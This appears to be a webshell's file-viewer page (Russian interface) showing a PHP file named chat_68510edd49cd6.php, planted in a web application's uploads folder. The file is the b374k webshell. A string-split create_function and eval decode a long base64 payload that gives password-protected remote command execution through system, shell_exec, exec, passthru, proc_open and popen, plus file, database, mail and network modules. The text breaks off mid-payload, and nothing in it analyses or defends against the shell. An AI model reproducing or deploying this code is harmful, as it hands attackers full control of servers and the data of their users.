PHP WebShell

Текущая директория: /var/www/bitcardoApp/uploads/2025/06

Просмотр файла: chat_68510edd49cd6.php

<?php
$GLOBALS['pass'] = "aacd3db9f28477a7bd0e0c1878777fb3596472e8"; // sha1(md5(pass))
$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?>".ba'.'se'.'64'.'_de'.'co'.'de("$x"));');$b374k("PD9waHAgJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gPSBhcnJheSgiZXhwbG9yZXIiLCAidGVybWluYWwiLCAiZXZhbCIsICJjb252ZXJ0IiwgImRhdGFiYXNlIiwgImluZm8iLCAibWFpbCIsICJuZXR3b3JrIiwgInByb2Nlc3NlcyIpOz8+PD9waHAKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydiMzc0ayddID0gImhWWFpyck00RW42Z2pBUmhDOHlvTDloWFE5Z0RkMnhoSjV5dzgvVGovT2VmN3RQU1NHM0p3alpWWHkxZmxaMG5jL0x2dWsvS0FobUg4ajlwTWhVVThhODY0Q3huUTNXNWZMRndtSzVmaVg0SlY5eG55OW84RzMyK1R4cGhxczlDZmpoU3FEaGVpc1ZvamtsSGJITmNMRE4xN0hKYUdrcERIR2hkRkRwa2xuWGQvYU53YUdNZ1ZXZ29Yb0hWbTJ2cWt0VzNQRW1rRC9aN0NCdFNLRndWWVhPWDgxd2RoL21ZTm1oOXV5MklXbk5qTEtCMWNBWW1FSytialFXdnhLK29yQSs4b2lYOUNCL2YwZG0xYWtOZlZHRW5yS0dhTS9uYTViSllGdkoxU2dkQUZWQWYrclJHdlU5OTlta1lvSkZMMTZwU1VsQm15K1dKVVZ1cFRUR3RVNlhLOUhsT1NIRzRGdndGSE5jR0NPS3VDaEZtTkNKcWVoRUczSzBFRGJ1RG10NCswNnpSM1JSZVY3TjVIZWJCbGlyL2V6WkVlVmUwTm01RzF4R2pQLzNKZXFlL3U5b3JWNXpOcXVrMXgzUGNHTExUNkpralB1amQ4bHJTT05uRE9OWERlRUQ5K25vV0lZbEdqM0tHK3MwUFhERittRTNXZHpDR2JrMXI3b2psaUlwQ2JjMGZOcVBXNmw4NWdISCt0QW5QbHQ4NVdTS01tUTI4cWpLZTNvMkdYV0hPaVRUY2wrd2NJVWVjNlhsb25TZ09tZ212MWNCSTZPZDNyb3hmZkRKRTlHQlg0QktiZ1YxbjQvakxab1k3Ymh4R2pOcFhhSzZ3bEhFd1MzYjh5WCtUWXVoYXlOSm1uT0lDZU9ZTWxHNkxYY2FGTVVIL3RlWlRTM0VOSUUrUVUyRVVJT2RWTGpOSElETnJDam0xdi8wdmZibGE0Zm1aeU15bWlxWm4xdXdyd0xvRjJzR3pvLzNXRjYrbTFYWUw5S2xLZTdOemZaaWZUNjN3NUppRU5nVmFSekloeDBDd0NTQ1VCL0FrQ2FDUzRBZzVaNkxndER4Mk44OVlzdjNvQng2MGp3ZHpETG41Z2RmK0hjLy9SN3g3emRJZmZqd2ZwUnc1T0pKSDNNVmlmTUQ4bEw5elNDVWhlZWF5QkxrS05BZkcvcEUzK2c3Mnh1dHdSQjgxbTJnRFRibFpncm9EM3o5dDN4Uk5WTVR0RTVDd2ZuR3pEVGdIMXNQLzhHQnVtank4ZHVuZy9NQnovbzUzL2lQZSt2SGR3UDlQTFg1cWxHZCsxYVBmT3ZLMzNIZS8vZW8vRC80WEdDS1RwU2JCQWxTVmcrWFQ1MW10SXZlRjhrUHRjKy9vaCtzN1hLQTB5Vk15YzFjekswbTVGY2l6RXRwM2o5VW9iby9WdEZlUld3TFZMOVdpcm5VS2NYbFc5M1N6azE3aXpEbFBjWDFFRmJpZ3NnMW00QnUzTDdmOGNsR2JOM1ZQY0tsTUMrV2FHc2piTFY1eHBMaWtGd1luNG5LL1B3VXV4NXM3VGU3bk1Gald1VHhQd3VYZk4rZldEcnBWRWtVUzVFeDQ1OG9wamhEY2pMTlFRejA1U2ZSaWljL3l4SllDbEpKMEdhbHdNRkNMYlU2Z1g1NTBlOWxLWW4vc0puTVZ5R0dpWHkzTk93cnBZdktyZEdtRjA5dnJ2dVNYaGVQVWJleko4M0RXRUxsTUNxc3RnQjZtTjFERlRxbFJKRkhZWHVvUVM4VkM1N0NLOWEwajBhWkpMd0V0TXFsOWhuTTFDcWFqWFBsc0ptTHJkSkt5ZXlEQ0ZGMjh6UHp5L0J3Yks3RjVYYTA2TEVsZDl5dk5TNWVFZW5qZXpkVlh0ek5HT2VRb3dXK1cwQzVDcENkcVRRMnJGeTJzbkhmQjV0TGF4bmphQVRMM3lEUXczbnRLM3BnRnZxaTNGZUNQSzdNTm1lYWJyamdOdWp1RjlYTkhPVDN5eXJ3UzlsbzB1V2NUODh1dUZjMEREWW5uTzY3WjJJejlZQS8wNk5sbng2Sjc2cFdNZDMwalZQWkdKRHl2MXFENGlvVnhEdFVsb0M4VjJ6NHNTQzlUSklaNXZGZnJtWStFUENKU28zY2pjRk1EZEJHV1YzekNaK0xnYStWTVRoSmhmN1d0cWs4Q084dVBnYkZkcitwQUwvRWxYZnE5YUl6dG8yUVk2V1Z1cGFoaERjZUY0NHU3SS9URTMxaFFJMktFaUt2aGM3YkdqeGJ3R094YUNUS3B0V3JaM1hNYXVZbXFOTG9WYjRQaHpVYlRPMFJMUTNUOHpUT2ZLM3dqays2VjUyRy9MaGhwN3Q2NUpqSUZSTU1KSGpyaWxnYjlWR0tHYlNiQTYvNHBmWEdWMjlneDI3NTVhcTIvanVPaUd2bnUzMjVrcXVEc1BVaTdFRy93TzZ6SGpFaGxWVEh2OEc0aGNqYVQ4bm5xUFBSbWhkbGFPWUdtcnNGY29nZ3pWTnBiQmw5ZjRUbEs2YldRb3FVT25ubks4cGxzZGVzWjdXaG1GVnNTdVBPeDFCSHA0NW9VcEVsVjdYaGhFL1RZdmZGWEtzektsN3Q3VGt6cHpKTzhsNnpJOWtpMXNvTGF5cGI5NndsMy9jQnlkSktQVlBXUC93ST0iOwokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ21pbWUnXSA9ICJkWlRoZHFNZ0VJWC83em43RHZNQzJqWjYydDNIbVFnYUdrZXBDREZ2dnhlTmlzMzJ4eDNodXdNWW1Va3dTdmN2UldNdElmeitGYmI1Q2VDMGdzdnAvWTFpU0VBUlFaR0FNb0p5Qlo5V04vUnBtN0FEb1VXTnJFdytUN1RJYm1lSkxlbWhnTkNVdTRFZEgyRWVrTHdoNDdTZDBEY045ZnVCWDk1VTE5R0lwcStScE45NDZGU3VkS1h6aXlJZkxsQzRQSG5TbjAycjRVbjA1Y20zY2EyTm5uM3lYUFJjOU55VE4wK2pGWFY4cFhETzYzZ21CaW12dzBoUWl1Skg4RU5MTW5tUzBoOHNsOW1XNzRObWRjOUZLOE81dlFlQzBpeWM3ZlA0a1gzdzhVVU9Xd1FUZWtKWTJVMmZoV0pZd1pUVnVCb29BYTBoS0FYSWFKTU1pYmVaTGhFZWg5NWRtZVFLNTFvb0JKZllIZTY0YXhMZ01uWTFMWm9PUFBSbmdnN3NobmVXYnlRQWhXOXNBanZ1ZGd0ZzRjQ1dXK09RL0VEWG1BeEZaVFROTVRGd2pJdkhzRmVtZjJGbEt5SEVGWnpabVlyWWsrdlV5c1FvUXdnMEQ2NDgwQ0JtTTVkbTRIMit0QUMrSExvVWlvTUNqWUJuc1dVdHpjQVVuODVPSzNhRkVMUk5UWHNsaEhXKzFlazhSV2x3TEE4KzJLWXhJN2ZaelhUS2tlNlBhd2NtNklCR1I5QTNGSnNQajR0S2Vlc3IzWTE1NkUybHFRMDI5ZjViMkl6Q1BoeldlVDF3amgvUTJ2TFA2eXR0b3grU1BzcVBSMUljL1pEMDkzM2RLWTdTcE1GWWdsYTBkc3IyU2xQR2pMdm1LZ0dtUmdHYldYTkl2SXByZ25aUXQxZ2V3NDZTdGttTzJmNFJDcDlBMURLamxuazZNbUhVZkxMWWRoaythN3RjK2NCQ3d3OG1ic0EzcGtOeDJqM2h4bWdyM3VwOUVwcmtIdz09IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydhcnJvdyddID0gIkZaWEhEcXRZRElZZktDUFJTMlowRjRjU2VtK0JIZlZRQTZIRDAwK3VGL1pueTJYelN5N1NOZjIzR1ZKWUl0TUgvcGVsUzBtVC96UWhaN2tIcWtsd0JEOHp2YUFXQS9nai9tOEtJQS9pWCtEdThqT2pmd3Y4bTFPaXQvR2p4ZnM1WFlTeVI3d1o5c2RpTFBhaUU3cnh3WVp2RHozejBHMGZOOVB0MVBxaURMdXlSZ3pBN3NWcG8yTnZMM0NkeTZwMWVTUzNVbTIxZVpxZlcydWM2WGM5U1RZakcwRTh6eWJaM2x4WXJHTGdtaWo2RlRnRCtvRTFmSHpSeUI5SVhwSUZsVCs2SjhYQVJOUml2cUFFTHlOVzY5NGZCWUtnZFE1NGkyUnF1T2dvSXdPcUVwUks2RzY2cWs0SGpGQ0FXWDlOUnA1Y1U2aE1zZHZTUWhpR0NYcjdIbWZ5bC9UYVI5S3dqRHhsZFdOcDl3eDd6dXgyc1kwdVdVQUJEeFVRV2hvRzJEdDhXbE9ZSXVIOGZqcGVqMGwwQWczazAxQUhZeUxOTm83ZXh6QVM3amN6VGs1b29nek5sRVRWTDVnMlRjTFlRSTduNXkrOWRSWHpnTjR6MTlmS3I0bVBDc0xtK1o0ZmhjOW5GYWI3T1JqTUpTT2FySDBYeEpNOGJNSEJLaEVOemdyZUVuQjRSd0ZOZ1ViMXdtNnlNRmQ5c3lSdDByUENoRko0ZTdEMm1kNjMvY3pGRStCMkxzTnhFcGt3WmVMbnRTVXVVeXVDVFpHYjBiWU1CaTlQZlQzQUNhSy9mWWRVRThHemV1TFhiSTBXaUkvelJUN3NuV01WN3ZYYzBCTEZ3UXZJZlNZS2pndG9JaUtKTzhyZUZWNGFobk1BMUpSZEt4MUhNaXl5TW9abk1nUVg3VzJKYjQvdHVkYURSdEpPVWdaWTVGQUZicEVuWVFpQUJFVTVFK1h5S3UzcHFSaXpoNjc2QjI5U3N5azFaWmNad0xLd2xtczVpZ2NuT3AxKzFla1NTUUs5THYwUzJabkg5MmpyZ0Viak4wYjlkTzQ0T0s0WjRtSWMyVnhveHhaZXB6TytXTHpjSnJyYTh3WUc1UktxRE5lM3crT0RRbnJQemsrT3labyt6OGtMOEhLM1hOaGNjN0N5OTJjVllXM1dzVlpwU3paQ1ZFb3BNbFV1bi9YbE9GelRXblZwdDhTaEFGbVpzeFZCM3NOV2t2TEFVU3hkeWhXTWdlYTF5SDRqSlZCYjNRYUFGUHJ4VTN2NlZEN0RzRnBPQ1Z4U3dSWnNURnN3NkdhMXFGbVZVeFMzdFY5V2pKa2hreFpBTWFITEE3KzBOSjdkeTlhYmttcWhwcFI5b0FZSUpNOWczT0hURCs4K3dRdGtZTUNpSFN4UXhNRXpXdmtrdEtQemdza2ZkL0YzbTRXSDA5bEFmVXRUaFErSkEycE12Ym5KNnQ4U0x3ZHR6WHZSNDdaZTBaMFZrQzVGNmM3ZVN4bDZuOC9wdWRJWUdsODlNaXR6SUhFdVh4VllEM0orcXQ5b1E0UEpxc1FqRU9ld2V0SFpFVWY4VUNSWWpIdzd2bXhvZTBCanR4NTlwNFBmdFJyRHFYRFJYVExxUTFOR0xWRTYxM1BWWm15YWlSZTZTblY5YjhTQ2RBOTFCN2ExaEI4UlMzeFdISVhkWTZUOVR3Q2MweFJpM0laR1RCNzRWU3M2ckxrclhWbTBqVmpqUU5zdEV6M0RDTk9wVnkzWGs5MWNWSnhiYU9LRWJGdnJRQ3kyZnhTVXpoYW52UHE1Ym1jY05XVFBHM1ViTXNYb1BXU1M1VFRUdm8vVzhMc2laNlNkemRtMnFHU3FKYXB2dW5jYi9qbEkxYzRpNjBOTjUzVGFzb2d3TDBhL0dGbnlGNGxnaUdYVzJON0JOeUw1RUV5UUE0MkxkWnRhbzJTOWYrcmVBMDRRRGJhRVF0UmcwWVJsYi9FMGtzeWNpNE1NMUhsVnZ2cVFsejBhcU1YZXNzbHZxejdZNGJhTDBXdk5IdmZsUm5MTnhMUjVJRmZiOUtyWlQ5N0xvdHo4T0Z0SkpqOXVnU0ZoVll5OW56Y3VSdkMrdmJGNnpkcldwWXRQZWsrcnhqYWVNb2c0cHZPSWJKM3dPVFFtRmIzZC9hdE45SFY3WnN1WkZBSVJuZ2gwb1ZRS1pYYitmZ0JPZFFOS25Ec1ZRdmpuei84PSI7Cj8+PD9waHAKJEdMT0JBTFNbJ3ZlciddID0gIjMuMi4zIjsKJEdMT0JBTFNbJ3RpdGxlJ10gPSAiYjM3NGsiOyBAb2Jfc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKEVfRVJST1IgfCBFX1dBUk5JTkcgfCBFX1BBUlNFIHwgRV9OT1RJQ0UpOwpAaW5pX3NldCgnaHRtbF9lcnJvcnMnLCcwJyk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzEnKTsKQGluaV9zZXQoJ2Rpc3BsYXlfc3RhcnR1cF9lcnJvcnMnLCcxJyk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywnMCcpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBjbGVhcnN0YXRjYWNoZSgpOyBpZighZnVuY3Rpb25fZXhpc3RzKCdhdXRoJykpeyBmdW5jdGlvbiBhdXRoKCl7IGlmKGlzc2V0KCRHTE9CQUxTWydwYXNzJ10pICYmICh0cmltKCRHTE9CQUxTWydwYXNzJ10pIT0nJykpeyAkYyA9ICRfQ09PS0lFOyAkcCA9ICRfUE9TVDsgaWYoaXNzZXQoJHBbJ3Bhc3MnXSkpeyAkeW91cl9wYXNzID0gc2hhMShtZDUoJHBbJ3Bhc3MnXSkpOyBpZigkeW91cl9wYXNzPT0kR0xPQkFMU1sncGFzcyddKXsgc2V0Y29va2llKCJwYXNzIiwgJHlvdXJfcGFzcywgdGltZSgpKzM2MDAwLCAiLyIpOyBoZWFkZXIoIkxvY2F0aW9uOiAiLmdldF9zZWxmKCkpOyB9IH0gaWYoIWlzc2V0KCRjWydwYXNzJ10pIHx8ICgoaXNzZXQoJGNbJ3Bhc3MnXSkmJigkY1sncGFzcyddIT0kR0xPQkFMU1sncGFzcyddKSkpKXsgJHJlcyA9ICI8IWRvY3R5cGUgaHRtbD4gPGh0bWw+IDxoZWFkPiA8bWV0YSBjaGFyc2V0PSd1dGYtOCc+IDxtZXRhIG5hbWU9J3JvYm90cycgY29udGVudD0nbm9pbmRleCwgbm9mb2xsb3csIG5vYXJjaGl2ZSc+IDxtZXRhIG5hbWU9J3ZpZXdwb3J0JyBjb250ZW50PSd3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wLCBtYXhpbXVtLXNjYWxlPTEuMCwgdXNlci1zY2FsYWJsZT1ubywgdXNlci1zY2FsYWJsZT0wJz4gPC9oZWFkPiA8Ym9keSBzdHlsZT0nYmFja2dyb3VuZDojZjhmOGY4O2NvbG9yOiMwMDAwMDA7cGFkZGluZzowO21hcmdpbjowOyc+PGJyPjxwPjxjZW50ZXI+PG5vc2NyaXB0PllvdSBuZWVkIHRvIGVuYWJsZSBqYXZhc2NyaXB0PC9ub3NjcmlwdD48L2NlbnRlcj48L3A+IDxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4gdmFyIGQgPSBkb2N1bWVudDsgZC53cml0ZShcIjxicj48YnI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48Y2VudGVyPjxpbnB1dCB0eXBlPSdwYXNzd29yZCcgaWQ9J3Bhc3MnIG5hbWU9J3Bhc3MnIHN0eWxlPSdmb250LXNpemU6MzRweDt3aWR0aDozNCU7b3V0bGluZTpub25lO3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQ6I2ZmZmZmZjtwYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICNjY2NjY2M7Ym9yZGVyLXJhZGl1czo4cHg7Y29sb3I6IzAwMDAwMDsnPjwvY2VudGVyPjwvZm9ybT5cIik7IGQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3MnKS5mb2N1cygpOyBkLmdldEVsZW1lbnRCeUlkKCdwYXNzJykuc2V0QXR0cmlidXRlKCdhdXRvY29tcGxldGUnLCAnb2ZmJyk7IDwvc2NyaXB0PiA8L2JvZHk+PC9odG1sPiAiOyBlY2hvICRyZXM7IGRpZSgpOyB9IH0gfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9zZXJ2ZXJfaW5mbycpKXsgZnVuY3Rpb24gZ2V0X3NlcnZlcl9pbmZvKCl7ICRzZXJ2ZXJfYWRkciA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKT8gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ106JF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkc2VydmVyX2luZm9bJ2lwX2FkcnJlc3MnXSA9ICJTZXJ2ZXIgSVAgOiAiLiRzZXJ2ZXJfYWRkci4iIDxzcGFuIGNsYXNzPSdzdHJvbmcnPnw8L3NwYW4+IFlvdXIgSVAgOiAiLiRfU0VSVkVSWydSRU1PVEVfQUREUiddOyAkc2VydmVyX2luZm9bJ3RpbWVfYXRfc2VydmVyJ10gPSAiVGltZSA8c3BhbiBjbGFzcz0nc3Ryb25nJz5APC9zcGFuPiBTZXJ2ZXIgOiAiLkBkYXRlKCJkIE0gWSBIOmk6cyIsdGltZSgpKTsgJHNlcnZlcl9pbmZvWyd1bmFtZSddID0gcGhwX3VuYW1lKCk7ICRzZXJ2ZXJfc29mdHdhcmUgPSAoZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSE9JycpPyBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLiIgPHNwYW4gY2xhc3M9J3N0cm9uZyc+fDwvc3Bhbj4gIjonJzsgJHNlcnZlcl9pbmZvWydzb2Z0d2FyZSddID0gJHNlcnZlcl9zb2Z0d2FyZS4iIFBIUCAiLnBocHZlcnNpb24oKTsgcmV0dXJuICRzZXJ2ZXJfaW5mbzsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9zZWxmJykpeyBmdW5jdGlvbiBnZXRfc2VsZigpeyAkcXVlcnkgPSAoaXNzZXQoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSYmKCFlbXB0eSgkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl0pKSk/Ij8iLiRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXToiIjsgcmV0dXJuIGh0bWxfc2FmZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXS4kcXVlcnkpOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X3Bvc3QnKSl7IGZ1bmN0aW9uIGdldF9wb3N0KCl7IHJldHVybiBmaXhfbWFnaWNfcXVvdGUoJF9QT1NUKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9uYXYnKSl7IGZ1bmN0aW9uIGdldF9uYXYoJHBhdGgpeyByZXR1cm4gcGFyc2VfZGlyKCRwYXRoKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9jd2QnKSl7IGZ1bmN0aW9uIGdldF9jd2QoKXsgJGN3ZCA9IGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IGlmKCFpc3NldCgkX0NPT0tJRVsnY3dkJ10pKXsgc2V0Y29va2llKCJjd2QiLCAkY3dkKTsgfSBlbHNleyAkY3dkX2MgPSByYXd1cmxkZWNvZGUoJF9DT09LSUVbJ2N3ZCddKTsgaWYoaXNfZGlyKCRjd2RfYykpICRjd2QgPSByZWFscGF0aCgkY3dkX2MpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IGVsc2Ugc2V0Y29va2llKCJjd2QiLCAkY3dkKTsgfSByZXR1cm4gJGN3ZDsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3dyYXBfd2l0aF9xdW90ZXMnKSl7IGZ1bmN0aW9uIHdyYXBfd2l0aF9xdW90ZXMoJHN0cil7IHJldHVybiAiXCIiLiRzdHIuIlwiIjsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9yZXNvdXJjZScpKXsgZnVuY3Rpb24gZ2V0X3Jlc291cmNlKCR0eXBlKXsgaWYoaXNzZXQoJEdMT0JBTFNbJ3Jlc291cmNlcyddWyR0eXBlXSkpeyByZXR1cm4gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJEdMT0JBTFNbJ3Jlc291cmNlcyddWyR0eXBlXSkpOyB9IHJldHVybiBmYWxzZTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Jsb2NrX2JvdCcpKXsgZnVuY3Rpb24gYmxvY2tfYm90KCl7IGlmKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgJiYgKHByZWdfbWF0Y2goJy9ib3R8c3BpZGVyfGNyYXdsZXJ8c2x1cnB8dGVvbWF8YXJjaGl2ZXx0cmFja3xzbm9vcHl8amF2YXxsd3B8d2dldHxjdXJsfGNsaWVudHxweXRob258bGlid3d3L2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSl7IGhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOyBoZWFkZXIoIlN0YXR1czogNDA0IE5vdCBGb3VuZCIpOyBkaWUoKTsgfSBlbHNlaWYoIWlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyBoZWFkZXIoIkhUVFAvMS4wIDQwNCBOb3QgRm91bmQiKTsgaGVhZGVyKCJTdGF0dXM6IDQwNCBOb3QgRm91bmQiKTsgZGllKCk7IH0gfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2lzX3dpbicpKXsgZnVuY3Rpb24gaXNfd2luKCl7IHJldHVybiAoc3RydG9sb3dlcihzdWJzdHIocGhwX3VuYW1lKCksMCwzKSkgPT0gIndpbiIpPyB0cnVlIDogZmFsc2U7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdmaXhfbWFnaWNfcXVvdGUnKSl7IGZ1bmN0aW9uIGZpeF9tYWdpY19xdW90ZSgkYXJyKXsgJHF1b3Rlc19zeWJhc2UgPSBzdHJ0b2xvd2VyKGluaV9nZXQoJ21hZ2ljX3F1b3Rlc19zeWJhc2UnKSk7IGlmKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSAmJiBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsgaWYoaXNfYXJyYXkoJGFycikpeyBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KXsgaWYoaXNfYXJyYXkoJHYpKSAkYXJyWyRrXSA9IGNsZWFuKCR2KTsgZWxzZSAkYXJyWyRrXSA9IChlbXB0eSgkcXVvdGVzX3N5YmFzZSkgfHwgJHF1b3Rlc19zeWJhc2UgPT09ICdvZmYnKT8gc3RyaXBzbGFzaGVzKCR2KSA6IHN0cmlwc2xhc2hlcyhzdHJfcmVwbGFjZSgiXCdcJyIsICJcJyIsICR2KSk7IH0gfSB9IHJldHVybiAkYXJyOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZXhlY3V0ZScpKXsgZnVuY3Rpb24gZXhlY3V0ZSgkY29kZSl7ICRvdXRwdXQgPSAiIjsgJGNvZGUgPSAkY29kZS4iIDI+JjEiOyBpZihpc19jYWxsYWJsZSgnc3lzdGVtJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7IG9iX3N0YXJ0KCk7IEBzeXN0ZW0oJGNvZGUpOyAkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOyBpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OyB9IGVsc2VpZihpc19jYWxsYWJsZSgnc2hlbGxfZXhlYycpICYmIGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsgJG91dHB1dCA9IEBzaGVsbF9leGVjKCRjb2RlKTsgaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsgfSBlbHNlaWYoaXNfY2FsbGFibGUoJ2V4ZWMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7IEBleGVjKCRjb2RlLCRyZXMpOyBpZighZW1wdHkoJHJlcykpIGZvcmVhY2goJHJlcyBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZTsgaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsgfSBlbHNlaWYoaXNfY2FsbGFibGUoJ3Bhc3N0aHJ1JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKXsgb2Jfc3RhcnQoKTsgQHBhc3N0aHJ1KCRjb2RlKTsgJG91dHB1dCA9IG9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsgfSBlbHNlaWYoaXNfY2FsbGFibGUoJ3Byb2Nfb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpeyAkZGVzYyA9IGFycmF5KCAwID0+IGFycmF5KCJwaXBlIiwgInIiKSwgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksIDIgPT4gYXJyYXkoInBpcGUiLCAidyIpKTsgJHByb2MgPSBAcHJvY19vcGVuKCRjb2RlLCAkZGVzYywgJHBpcGVzLCBnZXRjd2QoKSwgYXJyYXkoKSk7IGlmKGlzX3Jlc291cmNlKCRwcm9jKSl7IHdoaWxlKCRyZXMgPSBmZ2V0cygkcGlwZXNbMV0pKXsgaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7IH0gd2hpbGUoJHJlcyA9IGZnZXRzKCRwaXBlc1syXSkpeyBpZighZW1wdHkoJHJlcykpICRvdXRwdXQgLj0gJHJlczsgfSB9IEBwcm9jX2Nsb3NlKCRwcm9jKTsgaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsgfSBlbHNlaWYoaXNfY2FsbGFibGUoJ3BvcGVuJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsgJHJlcyA9IEBwb3BlbigkY29kZSwgJ3InKTsgaWYoJHJlcyl7IHdoaWxlKCFmZW9mKCRyZXMpKXsgJG91dHB1dCAuPSBmcmVhZCgkcmVzLCAyMDk2KTsgfSBwY2xvc2UoJHJlcyk7IH0gaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsgfSByZXR1cm4gIiI7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdodG1sX3NhZmUnKSl7IGZ1bmN0aW9uIGh0bWxfc2FmZSgkc3RyKXsgcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHN0ciwgMiB8IDEpOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygncGFyc2VfZGlyJykpeyBmdW5jdGlvbiBwYXJzZV9kaXIoJHBhdGgpeyAkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyAkcGF0aHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRwYXRoKTsgJHJlcyA9ICIiOyBmb3IoJGkgPSAwOyAkaSA8IHNpemVvZigkcGF0aHMpLTE7ICRpKyspeyAkeCA9ICIiOyBmb3IoJGogPSAwOyAkaiA8PSAkaTsgJGorKykgJHggLj0gJHBhdGhzWyRqXS5ESVJFQ1RPUllfU0VQQVJBVE9SOyAkcmVzIC49ICI8YSBjbGFzcz0nbmF2YmFyJyBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCR4KS4iJz4iLmh0bWxfc2FmZSgkcGF0aHNbJGldKS4iICIuRElSRUNUT1JZX1NFUEFSQVRPUi4iIDwvYT4iOyB9IGlmKGlzX3dpbigpKSAkcmVzID0gZ2V0X2RyaXZlcygpLiRyZXM7IHJldHVybiB0cmltKCRyZXMpOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnemlwJykpeyBmdW5jdGlvbiB6aXAoJGZpbGVzLCAkYXJjaGl2ZSl7ICRzdGF0dXMgPSBmYWxzZTsgaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ3ppcCcpKSByZXR1cm4gJHN0YXR1czsgaWYoY2xhc3NfZXhpc3RzKCJaaXBBcmNoaXZlIikpeyAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsgaWYoISR6aXAtPm9wZW4oJGFyY2hpdmUsIDEpKSByZXR1cm4gJHN0YXR1czsgaWYoIWlzX2FycmF5KCRmaWxlcykpICRmaWxlcyA9IGFycmF5KCRmaWxlcyk7IGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsgJGZpbGUgPSBzdHJfcmVwbGFjZShnZXRfY3dkKCksICcnLCAkZmlsZSk7ICRmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZSk7IGlmKGlzX2RpcigkZmlsZSkpeyAkZmlsZXNJdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZmlsZSksIDEpOyBmb3JlYWNoKCRmaWxlc0l0ZXJhdG9yIGFzICRpdGVyYXRvcil7ICRpdGVyYXRvciA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGl0ZXJh